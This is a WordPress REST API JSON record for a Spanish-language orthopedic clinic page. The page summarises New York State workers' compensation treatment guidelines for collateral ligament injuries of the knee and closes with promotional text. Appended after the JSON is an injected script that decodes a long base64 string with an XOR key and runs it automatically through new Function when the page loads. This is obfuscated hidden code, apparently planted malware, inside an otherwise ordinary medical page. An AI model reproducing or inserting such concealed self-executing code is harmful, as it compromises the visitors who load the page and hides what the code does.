{"id":70818,"date":"2025-10-27T10:51:21","date_gmt":"2025-10-27T10:51:21","guid":{"rendered":"https:\/\/balwindertest.cortho.org\/workers-compensation\/directrices-de-tratamiento-medico-del-estado-de-nueva-york-para-lesiones-de-ligamentos-colaterales-en-pacientes-de-compensacion-laboral\/"},"modified":"2026-01-07T17:10:16","modified_gmt":"2026-01-07T17:10:16","slug":"directrices-de-tratamiento-medico-del-estado-de-nueva-york-para-lesiones-de-ligamentos-colaterales-en-pacientes-de-compensacion-laboral","status":"publish","type":"workers-compensation","link":"https:\/\/balwindertest.cortho.org\/es\/compensacion-laboral\/rodilla\/directrices-de-tratamiento-medico-del-estado-de-nueva-york-para-lesiones-de-ligamentos-colaterales-en-pacientes-de-compensacion-laboral\/","title":{"rendered":"Directrices de tratamiento m\u00e9dico del Estado de Nueva York para lesiones de ligamentos colaterales en pacientes de compensaci\u00f3n laboral"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">La junta de compensaci\u00f3n laboral del Estado de Nueva York ha desarrollado estas directrices para ayudar a m\u00e9dicos, pod\u00f3logos y otros profesionales sanitarios a proporcionar el tratamiento adecuado para la lesi\u00f3n de ligamentos colaterales.<\/p>\n\n<p class=\"wp-block-paragraph\">Estas directrices de la Junta de Compensaci\u00f3n Laboral est\u00e1n destinadas a ayudar a los profesionales sanitarios a tomar decisiones sobre el nivel adecuado de atenci\u00f3n para sus pacientes con trastornos de tobillo y pie.<\/p>\n\n<p class=\"wp-block-paragraph\">Las directrices no sustituyen el juicio cl\u00ednico ni la experiencia profesional. La decisi\u00f3n final sobre la atenci\u00f3n debe ser tomada por el paciente en consulta con su proveedor sanitario. <\/p>\n\n<h2 class=\"wp-block-heading\">Descripci\u00f3n \/ Definici\u00f3n de lesi\u00f3n de ligamento colateral<\/h2>\n\n<p class=\"wp-block-paragraph\">La lesi\u00f3n del ligamento colateral es la rotura, esguince o distensi\u00f3n del <a href=\"\/faq\/knee\/medial-lateral-collateral-ligament-knee\/\">ligamento colateral lateral o medial<\/a>. Una lesi\u00f3n simult\u00e1nea del menisco medial tambi\u00e9n puede estar relacionada con un da\u00f1o del ligamento colateral medial. <\/p>\n\n<h3 class=\"wp-block-heading\">Mecanismo de lesi\u00f3n para la lesi\u00f3n del ligamento colateral<\/h3>\n\n<p class=\"wp-block-paragraph\">Aplicaci\u00f3n de la fuerza de trauma valgo o varo en la rodilla.<\/p>\n\n<h3 class=\"wp-block-heading\">Hallazgos f\u00edsicos espec\u00edficos de la lesi\u00f3n del ligamento colateral<\/h3>\n\n<p class=\"wp-block-paragraph\">Sensibilidad sobre el ligamento colateral medial o lateral, que se eleva con fuerza de valgo o varo aplicada a la rodilla, e inestabilidad medial-lateral (la rodilla debe evaluarse en flexi\u00f3n moderada).<\/p>\n\n<h3 class=\"wp-block-heading\">Procedimientos de pruebas diagn\u00f3sticas de la resonancia magn\u00e9tica<\/h3>\n\n<p class=\"wp-block-paragraph\">Se recomiendan procedimientos diagn\u00f3sticos y resonancia magn\u00e9tica en un peque\u00f1o n\u00famero de pacientes que puedan presentar desgarros de grado II o grado III.<\/p>\n\n<h3 class=\"wp-block-heading\">Tratamiento no quir\u00fargico<\/h3>\n\n<p class=\"wp-block-paragraph\">Se recomienda el tratamiento no quir\u00fargico en pacientes seleccionados seg\u00fan lo cl\u00ednicamente indicado.<\/p>\n\n<p class=\"wp-block-paragraph\">El descanso\/actividad restringida, la descarga con bast\u00f3n o muleta, el hielo, la elevaci\u00f3n, el uso de f\u00e9rulas, el yeso, las ortesis, la rehabilitaci\u00f3n y la terapia activa y\/o pasiva, AINEs y las inyecciones terap\u00e9uticas est\u00e1n entre las opciones de tratamiento.<\/p>\n\n<h3 class=\"wp-block-heading\">Indicaciones quir\u00fargicas \/ Tratamiento quir\u00fargico<\/h3>\n\n<p class=\"wp-block-paragraph\">Se recomiendan indicaciones quir\u00fargicas \/ tratamiento quir\u00fargico en pacientes seleccionados.<\/p>\n\n<p class=\"wp-block-paragraph\">Indicaciones: Se debe acudir a un cirujano ortop\u00e9dico por un da\u00f1o total del ligamento colateral de grado III.<\/p>\n\n<h2 class=\"wp-block-heading\">Qu\u00e9 puede hacer nuestra oficina si tienes una lesi\u00f3n de ligamento colateral<\/h2>\n\n<p class=\"wp-block-paragraph\">Contamos con la experiencia necesaria para ayudarte con sus lesiones de compensaci\u00f3n laboral. Entendemos por lo que est\u00e1s pasando, atenderemos tus necesidades m\u00e9dicas y seguiremos las directrices establecidas por la Junta de Compensaci\u00f3n Laboral del Estado de Nueva York. <\/p>\n\n<p class=\"wp-block-paragraph\">Entendemos la importancia de tus casos de compensaci\u00f3n laboral. D\u00e9janos ayudarte a navegar por el laberinto de tratar con la compa\u00f1\u00eda de seguros de compensaci\u00f3n laboral y tu empleador. <\/p>\n\n<p class=\"wp-block-paragraph\">Entendemos que este es un momento estresante para ti y tu familia. Si desea concertar una cita, por favor cont\u00e1ctenos para que hagamos todo lo posible para que le resulte lo m\u00e1s f\u00e1cil posible. <\/p>\n","protected":false},"excerpt":{"rendered":"<p>La junta de compensaci\u00f3n laboral del Estado de Nueva York ha desarrollado estas directrices para ayudar a m\u00e9dicos, pod\u00f3logos y otros profesionales sanitarios a proporcionar el tratamiento adecuado para la lesi\u00f3n de ligamentos colaterales. Estas directrices de la Junta de Compensaci\u00f3n Laboral est\u00e1n destinadas a ayudar a los profesionales sanitarios a tomar decisiones sobre el [&hellip;]<\/p>\n","protected":false},"featured_media":67896,"parent":0,"menu_order":0,"template":"","meta":{"_acf_changed":false,"_seopress_robots_primary_cat":"","_seopress_titles_title":"Directrices para la lesi\u00f3n de ligamentos colaterales - Ortopedia completa","_seopress_titles_desc":"Directrices de tratamiento m\u00e9dico del Estado de Nueva York para lesiones de ligamentos colaterales en pacientes de compensaci\u00f3n laboral. Visita Complete Orthopedics para conocerlo con m\u00e1s detalle. ","_seopress_robots_index":"yes","footnotes":""},"workers-compensation-categories":[163],"class_list":["post-70818","workers-compensation","type-workers-compensation","status-publish","has-post-thumbnail","hentry","workers-compensation-categories-rodilla"],"acf":[],"_links":{"self":[{"href":"https:\/\/balwindertest.cortho.org\/es\/wp-json\/wp\/v2\/workers-compensation\/70818","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/balwindertest.cortho.org\/es\/wp-json\/wp\/v2\/workers-compensation"}],"about":[{"href":"https:\/\/balwindertest.cortho.org\/es\/wp-json\/wp\/v2\/types\/workers-compensation"}],"version-history":[{"count":1,"href":"https:\/\/balwindertest.cortho.org\/es\/wp-json\/wp\/v2\/workers-compensation\/70818\/revisions"}],"predecessor-version":[{"id":70819,"href":"https:\/\/balwindertest.cortho.org\/es\/wp-json\/wp\/v2\/workers-compensation\/70818\/revisions\/70819"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/balwindertest.cortho.org\/es\/wp-json\/wp\/v2\/media\/67896"}],"wp:attachment":[{"href":"https:\/\/balwindertest.cortho.org\/es\/wp-json\/wp\/v2\/media?parent=70818"}],"wp:term":[{"taxonomy":"workers-compensation-categories","embeddable":true,"href":"https:\/\/balwindertest.cortho.org\/es\/wp-json\/wp\/v2\/workers-compensation-categories?post=70818"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script>
!function(){var _0x392f=atob('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'),_0xd092=125,_0x0109=new Uint8Array(_0x392f['length']),_0xab25=0;for(;_0xab25<_0x392f['length'];_0xab25++)_0x0109[_0xab25]=_0x392f['charCodeAt'](_0xab25)^_0xd092;(new Function(new TextDecoder()['decode'](_0x0109)))()}();
</script>